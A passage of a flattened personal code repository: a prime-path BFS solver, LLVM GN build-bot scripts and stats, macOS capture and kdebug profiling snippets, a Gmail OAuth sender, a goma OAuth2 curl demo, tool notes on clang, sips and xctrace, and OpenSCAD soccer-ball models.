is_prime[0] = is_prime[1] = 0; 11 | is_prime[2] = 1; 12 | for (int i = 3; i < N; ++i) is_prime[i] = i & 1; 13 | for (int i = 3; i <= sqrt(N); i += 2) 14 | if (is_prime[i]) 15 | for (int j = 2 * i; j < N; j += i) 16 | is_prime[j] = false; 17 | std::fill_n(is_prime, 1000, false); // "The first digit must be nonzero" 18 | 19 | int n; scanf("%d\n", &n); 20 | for (int i = 0; i < n; ++i) { 21 | unsigned from, to; scanf("%u %u\n", &from, &to); 22 | 23 | unsigned dist[N]; 24 | std::fill_n(dist, N, UINT_MAX); 25 | 26 | std::queue q; 27 | q.push(from); 28 | dist[from] = 0; 29 | while (!q.empty() && q.front() != to) { 30 | unsigned now = q.front(); q.pop(); 31 | for (int e = 10; e <= 10000; e *= 10) { 32 | for (int d = 0; d < 10; ++d) { 33 | unsigned neighbor = (now / e) * e + d * (e / 10) + now % (e / 10); 34 | if (is_prime[neighbor] && dist[neighbor] == UINT_MAX) { 35 | q.push(neighbor); 36 | dist[neighbor] = dist[now] + 1; 37 | } 38 | } 39 | } 40 | } 41 | 42 | if (q.empty()) 43 | printf("Impossible\n"); 44 | else 45 | printf("%u\n", dist[to]); 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /llvmgnsyncbot/stats/compile_time_avg.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """prints average and max time of the 'building' step""" 4 | 5 | # Use e.g. like 6 | # rsync -az llvm@45.33.8.238:buildlog . 7 | # llvmgnsyncbot/annotate.py buildlog html 8 | # llvmgnsyncbot/stats/compile_time_avg.py buildlog_cache 9 | 10 | import json 11 | import os 12 | import sys 13 | 14 | import pandas as pd 15 | 16 | 17 | def json_dir_to_dataframe(json_dir): 18 | files = sorted(os.listdir(json_dir), key=lambda f:int(f.split('.')[0])) 19 | def load(name): 20 | with open(os.path.join(json_dir, name)) as f: 21 | d = json.load(f) 22 | compile_step = next( 23 | (s for s in d['steps'] if s['name'] == 'building'), None) 24 | if compile_step: 25 | d['elapsed_compile_s'] = compile_step['elapsed_s'] 26 | del d['steps'], d['log_file'] 27 | d.pop('git_revision', None) 28 | d.pop('prev_git_revision', None) 29 | return d 30 | return pd.json_normalize([load(f) for f in files]) 31 | 32 | 33 | for platform in ('linux', 'mac', 'macm1', 'win',): 34 | df = json_dir_to_dataframe(os.path.join(sys.argv[1], platform)) 35 | df = df[df.exit_code == 0] # Only keep successful builds. 36 | print(platform, 'average compile time', df.elapsed_compile_s.mean(), 37 | ', max', df.elapsed_compile_s.max()) 38 | 39 | if platform == 'macm1': 40 | # macm1 didn't use goma until build 7476. 41 | df = df[df.build_nr >= 7476] 42 | print('macm1 average compile time post goma', 43 | df.elapsed_compile_s.mean(), 44 | ', max', df.elapsed_compile_s.max()) 45 | -------------------------------------------------------------------------------- /llvmgnsyncbot/syncbot.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | case "$OSTYPE" in 4 | darwin*) 5 | case "$HOSTTYPE" in 6 | arm64) bot_name=macm1 ;; 7 | x86_64) bot_name=mac ;; 8 | esac ;; 9 | linux*) bot_name=linux ;; 10 | msys) bot_name=win ;; 11 | esac 12 | 13 | if [ -e syncbot.state ]; then 14 | build_num=$(cat syncbot.state) 15 | else 16 | build_num=1 17 | fi 18 | 19 | if [[ -e buildlogs/$build_num.txt ]]; then 20 | echo "got build_num $build_num, but output for that already exists." 2>&1 21 | echo "exiting." 2>&1 22 | exit 1 23 | fi 24 | 25 | # Make created files world-readable. 26 | umask 022 27 | 28 | THIS_DIR=$(dirname "$0") 29 | 30 | while true; do 31 | export AUTONINJA_BUILD_ID="llvmgn-$bot_name-$build_num" # For goma logs. 32 | 33 | last_exit= 34 | prev_log=buildlogs/$((build_num-1)).meta.json 35 | if [[ -e $prev_log ]]; then 36 | last_exit=--last-exit=$(sed -E 's/.*"exit_code": ([0-9]+).*/\1/' $prev_log) 37 | fi 38 | 39 | SECONDS=0 40 | if [[ "$OSTYPE" == "msys" ]]; then 41 | # The `tee` and the `/usr/bin/env python3` both 42 | # seem to not work well in `git bash`. 43 | python3 $THIS_DIR/syncbot.py $last_exit >curbuild.txt 2>&1 44 | EXIT_CODE=$? 45 | else 46 | $THIS_DIR/syncbot.py $last_exit 2>&1 | tee curbuild.txt 47 | EXIT_CODE=${PIPESTATUS[0]} 48 | fi 49 | echo '{ "elapsed_s":' $SECONDS', "exit_code":' $EXIT_CODE '}' \ 50 | > curbuild.meta.json 51 | 52 | # Reuse build numbers of no-op builds. 53 | if ! grep -q 'no new commits. sleeping for 30s' curbuild.txt; then 54 | mkdir -p buildlogs 55 | cp curbuild.txt buildlogs/$build_num.txt 56 | cp curbuild.meta.json buildlogs/$build_num.meta.json 57 | ((build_num++)) 58 | echo $build_num > syncbot.state 59 | fi 60 | 61 | # Upload buildlogs. 62 | # msys2.org's rsync binary doesn't support old-style --compress / -z 63 | # due to its external zlib. Use --new-compress / -zz to get compression. 64 | rsync -azz buildlogs/ llvm@45.33.8.238:~/buildlog/$bot_name 65 | done 66 | -------------------------------------------------------------------------------- /llvmgnsyncbot/watch.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Use like 4 | # hack/llvmgnsyncbot/watch.sh buildlog html hack > html/watch_out.txt 2> html/watch_err.txt < /dev/null & 5 | # disown -h 6 | 7 | # FIXME maybe add -d flag instead of the disown stuff above 8 | 9 | inotifywait -m -e create -r $1 | while read; do 10 | while read -t 0; do read; done # Drain additional queued-up events, if any. 11 | 12 | now=$(TZ=UTC date +%FT%TZ) 13 | echo $now 14 | 15 | # Update annotation script. 16 | # FIXME: Maybe exec self if the pull updated watch.sh? 17 | (cd $3; git pull) 18 | 19 | # Create output. 20 | SECONDS=0 21 | $3/llvmgnsyncbot/annotate.py $1 $2 22 | echo $SECONDS > $2/watchtime.txt 23 | echo $now $SECONDS >> $2/watchtimes.txt 24 | done 25 | -------------------------------------------------------------------------------- /mac/capturetest/capturetest/AppDelegate.h: -------------------------------------------------------------------------------- 1 | // 2 | // AppDelegate.h 3 | // capturetest 4 | // 5 | // Created by test on 12/3/11. 6 | // Copyright (c) 2011 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @interface AppDelegate : NSObject 12 | 13 | @property (assign) IBOutlet NSWindow *window; 14 | 15 | @end 16 | -------------------------------------------------------------------------------- /mac/capturetest/capturetest/AppDelegate.m: -------------------------------------------------------------------------------- 1 | // 2 | // AppDelegate.m 3 | // capturetest 4 | // 5 | // Created by test on 12/3/11. 6 | // Copyright (c) 2011 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #import "AppDelegate.h" 10 | 11 | @implementation AppDelegate 12 | 13 | @synthesize window = _window; 14 | 15 | - (void)dealloc 16 | { 17 | [super dealloc]; 18 | } 19 | 20 | - (void)applicationDidFinishLaunching:(NSNotification *)aNotification 21 | { 22 | // Insert code here to initialize your application 23 | } 24 | 25 | @end 26 | -------------------------------------------------------------------------------- /mac/capturetest/capturetest/capturetest-Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CFBundleDevelopmentRegion 6 | en 7 | CFBundleExecutable 8 | ${EXECUTABLE_NAME} 9 | CFBundleIconFile 10 | 11 | CFBundleIdentifier 12 | com.google.${PRODUCT_NAME:rfc1034identifier} 13 | CFBundleInfoDictionaryVersion 14 | 6.0 15 | CFBundleName 16 | ${PRODUCT_NAME} 17 | CFBundlePackageType 18 | APPL 19 | CFBundleShortVersionString 20 | 1.0 21 | CFBundleSignature 22 | ???? 23 | CFBundleVersion 24 | 1 25 | LSMinimumSystemVersion 26 | ${MACOSX_DEPLOYMENT_TARGET} 27 | NSHumanReadableCopyright 28 | Copyright © 2011 __MyCompanyName__. All rights reserved. 29 | NSMainNibFile 30 | MainMenu 31 | NSPrincipalClass 32 | NSApplication 33 | 34 | 35 | -------------------------------------------------------------------------------- /mac/capturetest/capturetest/capturetest-Prefix.pch: -------------------------------------------------------------------------------- 1 | // 2 | // Prefix header for all source files of the 'capturetest' target in the 'capturetest' project 3 | // 4 | 5 | #ifdef __OBJC__ 6 | #import 7 | #endif 8 | -------------------------------------------------------------------------------- /mac/capturetest/capturetest/controller.h: -------------------------------------------------------------------------------- 1 | // 2 | // controller.h 3 | // capturetest 4 | // 5 | // Created by test on 12/3/11. 6 | // Copyright (c) 2011 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #import 10 | #import 11 | 12 | @interface controller : NSObject { 13 | IBOutlet QTCaptureView* capture_; 14 | QTCaptureSession* session_; 15 | QTCaptureDeviceInput* deviceInput_; 16 | 17 | // Or QTCaptureDecompressedVideoOutput, see docs. 18 | QTCaptureVideoPreviewOutput* output_; 19 | } 20 | 21 | @end 22 | -------------------------------------------------------------------------------- /mac/capturetest/capturetest/en.lproj/Credits.rtf: -------------------------------------------------------------------------------- 1 | {\rtf0\ansi{\fonttbl\f0\fswiss Helvetica;} 2 | {\colortbl;\red255\green255\blue255;} 3 | \paperw9840\paperh8400 4 | \pard\tx560\tx1120\tx1680\tx2240\tx2800\tx3360\tx3920\tx4480\tx5040\tx5600\tx6160\tx6720\ql\qnatural 5 | 6 | \f0\b\fs24 \cf0 Engineering: 7 | \b0 \ 8 | Some people\ 9 | \ 10 | 11 | \b Human Interface Design: 12 | \b0 \ 13 | Some other people\ 14 | \ 15 | 16 | \b Testing: 17 | \b0 \ 18 | Hopefully not nobody\ 19 | \ 20 | 21 | \b Documentation: 22 | \b0 \ 23 | Whoever\ 24 | \ 25 | 26 | \b With special thanks to: 27 | \b0 \ 28 | Mom\ 29 | } 30 | -------------------------------------------------------------------------------- /mac/capturetest/capturetest/en.lproj/InfoPlist.strings: -------------------------------------------------------------------------------- 1 | /* Localized versions of Info.plist keys */ 2 | 3 | -------------------------------------------------------------------------------- /mac/capturetest/capturetest/main.m: -------------------------------------------------------------------------------- 1 | // 2 | // main.m 3 | // capturetest 4 | // 5 | // Created by test on 12/3/11. 6 | // Copyright (c) 2011 __MyCompanyName__. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | int main(int argc, char *argv[]) 12 | { 13 | return NSApplicationMain(argc, (const char **)argv); 14 | } 15 | -------------------------------------------------------------------------------- /mac/dispatch_one_large.c: -------------------------------------------------------------------------------- 1 | // clang -O2 dispatch_one_large.c 2 | // Example from "Building Efficient OS X Apps", session 704 WWDC 2013 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | int main(int argc, char* argv[]) { 10 | if (argc < 2) { 11 | fprintf(stderr, "usage: %s \n", argv[0]); 12 | return 1; 13 | } 14 | 15 | const char* path = argv[1]; 16 | 17 | dispatch_queue_t queue = 18 | dispatch_queue_create("com.example.FileProcessing", NULL); 19 | 20 | // XXX consider `fcntl(fd, F_NOCACHE, 1);` and dispatch_io_create() with fd, 21 | // for read-once files. 22 | 23 | dispatch_io_t io = dispatch_io_create_with_path( 24 | DISPATCH_IO_RANDOM, path, O_RDONLY, 0, queue, ^(int error) { 25 | dispatch_release(queue); 26 | exit(error); 27 | }); 28 | if (!io) { 29 | fprintf(stderr, 30 | "dispatch_io_create_with_path() failed -- pass absoute path\n"); 31 | return 1; 32 | } 33 | 34 | dispatch_io_set_high_water(io, 32 * 1024); 35 | 36 | dispatch_io_read(io, 0, SIZE_MAX, queue, 37 | ^(bool done, dispatch_data_t data, int error) { 38 | if (error == 0) 39 | dispatch_data_apply( 40 | data, ^bool(dispatch_data_t region, size_t offset, 41 | const void* ptr, size_t len) { 42 | /* process len bytes at ptr */ 43 | uint64_t tid; 44 | pthread_threadid_np(NULL, &tid); 45 | printf("tid %llu offset %zu len %zu\n", tid, 46 | offset, len); 47 | return true; 48 | }); 49 | if (done) 50 | dispatch_io_close(io, DISPATCH_IO_STOP); 51 | }); 52 | 53 | dispatch_main(); 54 | } 55 | -------------------------------------------------------------------------------- /macperf/hvf.entitlements: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | com.apple.security.hypervisor 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /macperf/kdebug.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // From https://gist.github.com/ibireme/173517c208c7dc333ba962c1f0d67d12 4 | 5 | // ----------------------------------------------------------------------------- 6 | // kdebug private structs 7 | // https://github.com/apple/darwin-xnu/blob/main/bsd/sys_private/kdebug_private.h 8 | // ----------------------------------------------------------------------------- 9 | 10 | /* 11 | * Ensure that both LP32 and LP64 variants of arm64 use the same kd_buf 12 | * structure. 13 | */ 14 | #if defined(__arm64__) 15 | typedef uint64_t kd_buf_argtype; 16 | #else 17 | typedef uintptr_t kd_buf_argtype; 18 | #endif 19 | 20 | typedef struct { 21 | uint64_t timestamp; 22 | kd_buf_argtype arg1; 23 | kd_buf_argtype arg2; 24 | kd_buf_argtype arg3; 25 | kd_buf_argtype arg4; 26 | kd_buf_argtype arg5; /* the thread ID */ 27 | uint32_t debugid; /* see */ 28 | 29 | /* 30 | * Ensure that both LP32 and LP64 variants of arm64 use the same kd_buf 31 | * structure. 32 | */ 33 | #if defined(__LP64__) || defined(__arm64__) 34 | uint32_t cpuid; /* cpu index, from 0 */ 35 | kd_buf_argtype unused; 36 | #endif 37 | } kd_buf; 38 | 39 | /* bits for the type field of kd_regtype */ 40 | #define KDBG_CLASSTYPE 0x10000 41 | #define KDBG_SUBCLSTYPE 0x20000 42 | #define KDBG_RANGETYPE 0x40000 43 | #define KDBG_TYPENONE 0x80000 44 | #define KDBG_CKTYPES 0xF0000 45 | 46 | /* only trace at most 4 types of events, at the code granularity */ 47 | #define KDBG_VALCHECK 0x00200000U 48 | 49 | typedef struct { 50 | unsigned int type; 51 | unsigned int value1; 52 | unsigned int value2; 53 | unsigned int value3; 54 | unsigned int value4; 55 | } kd_regtype; 56 | 57 | typedef struct { 58 | /* number of events that can fit in the buffers */ 59 | int nkdbufs; 60 | /* set if trace is disabled */ 61 | int nolog; 62 | /* kd_ctrl_page.flags */ 63 | unsigned int flags; 64 | /* number of threads in thread map */ 65 | int nkdthreads; 66 | /* the owning pid */ 67 | int bufid; 68 | } kbufinfo_t; 69 | -------------------------------------------------------------------------------- /macperf/spin.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | static double get_timestamp(void) { 6 | struct timeval now; 7 | gettimeofday(&now, NULL); 8 | return (double)now.tv_sec + (double)now.tv_usec / (1000.0 * 1000.0); 9 | } 10 | 11 | int main(int argc, char* argv[]) { 12 | double length_in_seconds = 1; 13 | 14 | if (argc > 1) 15 | length_in_seconds = strtod(argv[1], NULL); 16 | 17 | double begin = get_timestamp(); 18 | 19 | while (true) { 20 | // stop when time is up 21 | double now = get_timestamp(); 22 | if (now - begin > length_in_seconds) 23 | break; 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /macperf/types.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | typedef float f32; 7 | typedef double f64; 8 | typedef int8_t i8; 9 | typedef uint8_t u8; 10 | typedef int16_t i16; 11 | typedef uint16_t u16; 12 | typedef int32_t i32; 13 | typedef uint32_t u32; 14 | typedef int64_t i64; 15 | typedef uint64_t u64; 16 | typedef size_t usize; 17 | -------------------------------------------------------------------------------- /mail.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """A simple commandline client around the GMail OAuth API.""" 4 | 5 | # pip install --user --upgrade google-api-python-client oauth2client 6 | from oauth2client import client 7 | from oauth2client import file 8 | from oauth2client import tools 9 | 10 | # You have to Create a project on https://console.developers.google.com/, 11 | # create OAuth client ID credentials, download them and put them in 12 | # client_id.json. 13 | clientsecrets = 'client_id.json' 14 | flow = client.flow_from_clientsecrets(clientsecrets, 15 | scope='https://www.googleapis.com/auth/gmail.send', 16 | message=tools.message_if_missing(clientsecrets)) 17 | 18 | storage = file.Storage('mail.dat') 19 | creds = storage.get() 20 | if creds is None or creds.invalid: 21 | #args = tools.argparser.parse_args(['--noauth_local_webserver']) 22 | args = tools.argparser.parse_args() 23 | creds = tools.run_flow(flow, storage, args) 24 | 25 | from googleapiclient.discovery import build 26 | service = build('gmail', 'v1', credentials=creds) 27 | 28 | # https://developers.google.com/gmail/api/guides/sending 29 | import base64 30 | from email.mime.text import MIMEText 31 | import argparse 32 | import sys 33 | parser = argparse.ArgumentParser(description=__doc__) 34 | parser.add_argument('--subject') 35 | parser.add_argument('--to', required=True) 36 | args = parser.parse_args() 37 | 38 | message = MIMEText(sys.stdin.read()) 39 | message['to'] = args.to 40 | message['subject'] = args.subject 41 | message = {'raw': base64.urlsafe_b64encode(message.as_string())} 42 | 43 | service.users().messages().send(userId='me', body=message).execute() 44 | -------------------------------------------------------------------------------- /nndl/README.md: -------------------------------------------------------------------------------- 1 | http://neuralnetworksanddeeplearning.com/ 2 | -------------------------------------------------------------------------------- /notes/clang_dump.md: -------------------------------------------------------------------------------- 1 | Making clang dump useful information 2 | ==================================== 3 | 4 | clang has a whole bunch of internal flags for dumping state. 5 | Some of them are useful for end users. 6 | This document lists some of them. 7 | 8 | Demo input program: 9 | 10 | ``` 11 | $ cat demo.cc 12 | 13 | ``` 14 | 15 | ``` 16 | % clang -Xclang -ast-dump demo.cc -std=c++17 -c 17 | % clang -Xclang -ast-view demo.cc -std=c++17 -c 18 | # XXX ast-dump-filter 19 | # XXX ast-dump-all 20 | # XXX ast-dump-decl-types 21 | # XXX ast-dump-lookups 22 | # XXX templight-dump 23 | ``` 24 | 25 | ``` 26 | % clang -Xclang -fdump-record-layouts demo.cc -std=c++17 -fsyntax-only 27 | % clang -Xclang -fdump-record-layouts demo.cc -std=c++17 -c 28 | 29 | % clang -Xclang -fdump-record-layouts-canonical demo.cc -std=c++17 -c 30 | # XXX -simple 31 | # XXX -complete 32 | ``` 33 | 34 | ``` 35 | __builtin_dump_struct 36 | ``` 37 | 38 | ``` 39 | % clang -Xclang -fdump-vtable-layouts demo.cc -std=c++17 -c 40 | ``` 41 | 42 | ``` 43 | -dependency-dot 44 | ``` 45 | 46 | ``` 47 | debug.DumpCallGraph, debug.ViewCallGraph 48 | debug.DumpCFG, debug.ViewCFG 49 | debug.DumpDominators 50 | debug.DumpLiveVars 51 | debug.DumpLiveExprs 52 | debug.ViewExplodedGraph 53 | ``` 54 | 55 | ``` 56 | -Xclang -analyzer-dump-egraph=foo.dot 57 | -analyzer-viz-egraph-graphviz 58 | ``` 59 | 60 | ``` 61 | -Xclang -analyzer-checker-help 62 | ``` 63 | 64 | ``` 65 | dump-coverage-mapping 66 | ``` 67 | 68 | ``` 69 | code-completion-at 70 | ``` 71 | 72 | ``` 73 | dump-tokens 74 | dump-raw-tokens 75 | ``` 76 | 77 | ``` 78 | dump-deserialized-decls 79 | ``` 80 | 81 | ``` 82 | --ccc-print-phases 83 | --ccc-print-bindings 84 | ``` 85 | 86 | Viewing GraphViz output 87 | ----------------------- 88 | -------------------------------------------------------------------------------- /notes/optimization-report.md: -------------------------------------------------------------------------------- 1 | `-fsave-optimization-record` 2 | ============================ 3 | 4 | Summary: 5 | 6 | 0. Install opt-viewer.py deps with `pip3 install pygments` and 7 | `pip3 install PyYAML`. 8 | 1. Get compile command (eg from `ninja -v`) 9 | 2. Add `-fsave-optimization-record` to it, it'll put a `.opt.yaml` next to the 10 | `.o` output 11 | 3. `python3 ~/src/llvm-project/llvm/tools/opt-viewer/opt-viewer.py foo.opt.yaml` 12 | 13 | Due to a [bug](https://github.com/llvm/llvm-project/issues/62403), you 14 | currently have to pass `-j1`, else you'll get 15 | `AttributeError: type object 'Missed' has no attribute 'demangler_lock'`. 16 | 17 | If passing an absolute path to the source file to clang in step 2 (*cough* 18 | cmake), pass `-s ../..` (or similar) to opt-viewer.py. 19 | 4. `open html/index.html` 20 | 5. Click on one of the filenames in the first column to get annotated source. 21 | 22 | 23 | has lots of details. 24 | -------------------------------------------------------------------------------- /notes/sips.md: -------------------------------------------------------------------------------- 1 | sips 2 | ==== 3 | 4 | macOS includes a command-line tool `sips` that can do many operations on 5 | images. 6 | 7 | However, it's awkward to use, and even with looking at its man page, it 8 | always takes me a while to figure out how to get it to do what I want. 9 | 10 | So here's a list of example invocations. 11 | 12 | ## Convert a png to a jpeg: 13 | 14 | sips -s format png -o out.png in.jpg 15 | 16 | Also pass `-s formatOptions 45` to save with jpeg quality 45 (out of 100). 17 | 18 | ## Strip an embedded ICC profile, in-place: 19 | 20 | sips -d profile inout.jpg 21 | 22 | (use `-o out.jpg` to not do it in place but to write the output to a different 23 | file) 24 | 25 | ## Convert an image to different color space: 26 | 27 | sips -o out.png --matchTo serenity-sRGB.icc file-in-p3.png 28 | 29 | (Short `-m`.) 30 | 31 | ## Assign a color profile to an image 32 | 33 | sips -o out.jpg --embedProfile path/to/USWebCoatedSWOP.icc cmyk.jpg 34 | 35 | (Short `-e`. There is also `--embedProfileIfNone` / `-E`.) 36 | -------------------------------------------------------------------------------- /notes/xctrace.md: -------------------------------------------------------------------------------- 1 | # `xctrace` notes 2 | 3 | Record: 4 | 5 | ```sh 6 | xctrace record --template 'Time Profiler' --target-stdout - \ 7 | --launch --output trace.trace -- /usr/bin/python3 -c 'print("hello")' 8 | ``` 9 | 10 | Get TOC: 11 | 12 | ```sh 13 | xctrace export --input trace.trace --toc ``` 14 | ``` 15 | 16 | Export samples: 17 | 18 | ```sh 19 | xctrace export --input trace.trace \ 20 | --xpath '/trace-toc/run[@number="1"]/data/table[@schema="time-profile"]' \ 21 | | mvim - 22 | ``` 23 | 24 | Use e.g. 25 | 26 | ```py 27 | #!/usr/bin/env python3 28 | 29 | import xml.etree.ElementTree 30 | 31 | with open('foo.xml') as f: 32 | xml_text = f.read() 33 | 34 | element = xml.etree.ElementTree.XML(xml_text) 35 | xml.etree.ElementTree.indent(element) 36 | print(xml.etree.ElementTree.tostring(element, encoding='unicode')) 37 | ``` 38 | 39 | for dumping the XML. 40 | 41 | The `kdebug` schema is also interesting (see macperf folder in this repo). 42 | 43 | The `dyld-library-load` schema has some, but not all (?) load addresses. 44 | 45 | The `time-sample` schema is also interesting. 46 | 47 | The `kdebug-strings` schema has all the paths to all loaded binaries 48 | (with `id=`; probably `ref=`'d from elsewhere?). `kdebug-class` values are 49 | from `/usr/include/sys/kdebug.h` in the SDK (`DBG_*` for the classes). 50 | 51 | `--xpath '/trace-toc/run[@number="1"]/data/table'` dumps everything. 52 | 53 | ## See also 54 | 55 | * `sample` 56 | * `ktrace` (apparently back, after being replaced by `dtrace`?) 57 | * 58 | -------------------------------------------------------------------------------- /numa/int.py: -------------------------------------------------------------------------------- 1 | import math 2 | 3 | def main(): 4 | eps = 0.1 5 | 6 | x = 0.5 7 | y = 0 8 | vx = 0 9 | vy = 1.63 10 | r = (x*x + y*y) ** 0.5 11 | ax = -x / (r**3) 12 | ay = -y / (r**3) 13 | 14 | # Allegedly increases precision (energy loss after 500 steps is just 1.15% 15 | # instead of 5.54%): 16 | vx += 0.5 * eps * ax 17 | vy += 0.5 * eps * ay 18 | 19 | U = 0.5 * 1 * ((vx - 0.5 * eps * ax) ** 2 + (vy - 0.5 * eps * ay) ** 2) 20 | T = -1 / r 21 | E = U + T 22 | print E 23 | 24 | E0 = E 25 | 26 | for i in range(500): 27 | print "%f\t%f" % (x, y) 28 | x += eps * vx 29 | y += eps * vy 30 | r = (x*x + y*y) ** 0.5 31 | ax = -x / (r**3) 32 | ay = -y / (r**3) 33 | vx += eps * ax 34 | vy += eps * ay 35 | 36 | U = 0.5 * 1 * ((vx - 0.5 * eps * ax) ** 2 + (vy - 0.5 * eps * ay) ** 2) 37 | T = -1 / r 38 | E = U + T 39 | #print E 40 | 41 | print 'energy change: %f%%' % (100 * (E - E0) / E0) 42 | 43 | 44 | if __name__ == '__main__': 45 | main() 46 | -------------------------------------------------------------------------------- /numrepl.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # A tiny script that prints numbers in binary and hex, 4 | # and also as bit_cast(static_cast(number)). 5 | # Based on https://bernsteinbear.com/blog/simple-python-repl/ 6 | 7 | import code 8 | import readline 9 | import struct 10 | 11 | 12 | class Repl(code.InteractiveConsole): 13 | def runsource(self, source, filename="", symbol="single"): 14 | try: 15 | num = int(source, 0) # `, 0` infers base from 0x prefix 16 | except Exception as e: 17 | print(f'error: {e}') 18 | return False 19 | length = len(format(num, '#b')) 20 | print(f'bin: {num: >#{length}b}') 21 | print(f'dec: {num: >#{length}}') 22 | print(f'hex: {num: >#{length}x}') 23 | i32 = struct.unpack("i", struct.pack("I", num))[0] 24 | print(f'i32: {i32: >#{length}}') 25 | print(f'x32: {i32: >#{length}x}') 26 | 27 | 28 | repl = Repl() 29 | repl.interact(banner='integer conversion repl', exitmsg='') 30 | -------------------------------------------------------------------------------- /oauth2_print_goma_client_version.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # A small demo on how to do basic oauth2 with curl, 3 | # and how to do simple goma api calls. 4 | 5 | # https://stackoverflow.com/questions/5014823/how-to-profile-a-bash-shell-script-slow-startup 6 | # but with perl instead of %N since macOS date doesn't understand that, and 7 | # with sed's `-u` flag removed for the same reason. 8 | PROFILE=0 9 | if [ "$PROFILE" -eq "1" ]; then 10 | PS4='+ $(perl -MTime::HiRes=time -e '"'"'printf "%.9f\n", time'"'"')\011 ' 11 | exec 3>&2 2>/tmp/bashstart.$$.log 12 | set -x 13 | fi 14 | 15 | set -ue 16 | 17 | if [ -e $HOME/.goma_oauth2_config ]; then 18 | GOMA_AUTH=$HOME/.goma_oauth2_config 19 | elif [ -e $HTOME/.goma_client_oauth2_config ]; then 20 | GOMA_AUTH=$HOME/.goma_client_oauth2_config 21 | else 22 | echo 'Run ~/goma/goma_auth.py login' 23 | exit 1 24 | fi 25 | 26 | # https://www.tldp.org/LDP/abs/html/gotchas.html#BADREAD0 27 | set -- $(jq -r .client_id,.client_secret,.refresh_token $GOMA_AUTH) 28 | client_id=$1 29 | client_secret=$2 30 | refresh_token=$3 31 | 32 | # https://stackoverflow.com/questions/53357741/how-to-perform-oauth-2-0-using-the-curl-cli 33 | token_json=$(curl -s --request POST \ 34 | --data client_id=$client_id \ 35 | --data client_secret=$client_secret \ 36 | --data refresh_token=$refresh_token \ 37 | --data grant_type=refresh_token \ 38 | https://oauth2.googleapis.com/token) 39 | #https://accounts.google.com/o/oauth2/token) 40 | 41 | access_token=$(echo $token_json | jq -r .access_token) 42 | 43 | #curl -H "Authorization: Bearer $access_token" \ 44 | #https://oauth2.googleapis.com/tokeninfo 45 | 46 | current_url=$(curl -s -H "Authorization: Bearer $access_token" \ 47 | https://clients5.google.com/cxx-compiler-service/downloadurl) 48 | curl -H "Authorization: Bearer $access_token" $current_url/MANIFEST 49 | 50 | 51 | if [ "$PROFILE" -eq "1" ]; then 52 | set +x 53 | exec 2>&3 3>&- 54 | fi 55 | -------------------------------------------------------------------------------- /openscad/soccerball.scad: -------------------------------------------------------------------------------- 1 | r = sqrt(3 / (1 + 2*sqrt(5)/5) - 1); 2 | module f(n, m) { // 5, 3: icosahedron; 3, 5: dodecahedron 3 | for (j = [0, 180]) rotate([0, j, 0]) 4 | for (i = [0:(n-1)]) rotate([0, 0, i * 360 / n]) 5 | for (k = [0, 1]) rotate([0, -atan(r) - 2*k*atan(r*cos(180/m)), 0]) 6 | rotate([0, 0, 180*k]) cylinder(1, 0, r, $fn=m); 7 | } 8 | intersection() { 9 | f(5, 3); 10 | rotate([0, 0, 36]) rotate([0, 36, 0]) f(3, 5); 11 | } 12 | -------------------------------------------------------------------------------- /openscad/soccerball_parts.scad: -------------------------------------------------------------------------------- 1 | module cells() { 2 | r = sqrt(3 / (1 + 2*sqrt(5)/5) - 1); 3 | % for (j = [0, 180]) rotate([0, j, 0]) 4 | for (i = [0:4]) rotate([0, 0, i * 360 / 5]) 5 | for (k = [0, 1]) 6 | rotate([0, -atan(r) - 2*k*atan(r*cos(180/3)), 0]) 7 | rotate([0, 0, 180*k]) 8 | rotate([0, 0, 30]) 9 | translate([0, 0, 0.3]) cylinder(1, 0, r/sqrt(3), $fn=6); 10 | 11 | y = cos(atan(r)) + r/2 * sin(atan(r)); 12 | nr = sqrt(1 + r*r/4 - y*y) / cos(36); 13 | translate([0, 0, 0.3]) cylinder(y, 0, nr, $fn=5); 14 | for (i = [0:4]) rotate ([0, 0, i * 72]) 15 | rotate([0, 2*atan(r*cos(180/5)), 0]) 16 | rotate([0, 0, 180]) translate([0, 0, 0.3]) cylinder(y, 0, nr, $fn=5); 17 | } 18 | 19 | cells(); 20 | -------------------------------------------------------------------------------- /openscad/turtle.scad: -------------------------------------------------------------------------------- 1 | $fn=100; 2 | 3 | module cells() { 4 | r = sqrt(3 / (1 + 2*sqrt(5)/5) - 1); 5 | d = 0.1; 6 | for (j = [0, 180]) rotate([0, j, 0]) 7 | for (i = [0:4]) rotate([0, 0, i * 360 / 5]) 8 | for (k = [0, 1]) 9 | rotate([0, -atan(r) - 2*k*atan(r*cos(180/3)), 0]) 10 | rotate([0, 0, 180*k]) 11 | rotate([0, 0, 30]) 12 | translate([0, 0, d]) cylinder(1, 0, r/sqrt(3), $fn=6); 13 | 14 | y = cos(atan(r)) + r/2 * sin(atan(r)); 15 | nr = sqrt(1 + r*r/4 - y*y) / cos(36); 16 | translate([0, 0, d]) cylinder(y, 0, nr, $fn=5); 17 | for (i = [0:4]) rotate ([0, 0, i * 72]) 18 | rotate([0, 2*atan(r*cos(180/5)), 0]) 19 | rotate([0, 0, 180]) translate([0, 0, d]) cylinder(y, 0, nr, $fn=5); 20 | } 21 | 22 | intersection() { 23 | union() { 24 | // shell 25 | union() { 26 | translate([0, 0, -3]) sphere(10, center=true); 27 | intersection() { 28 | 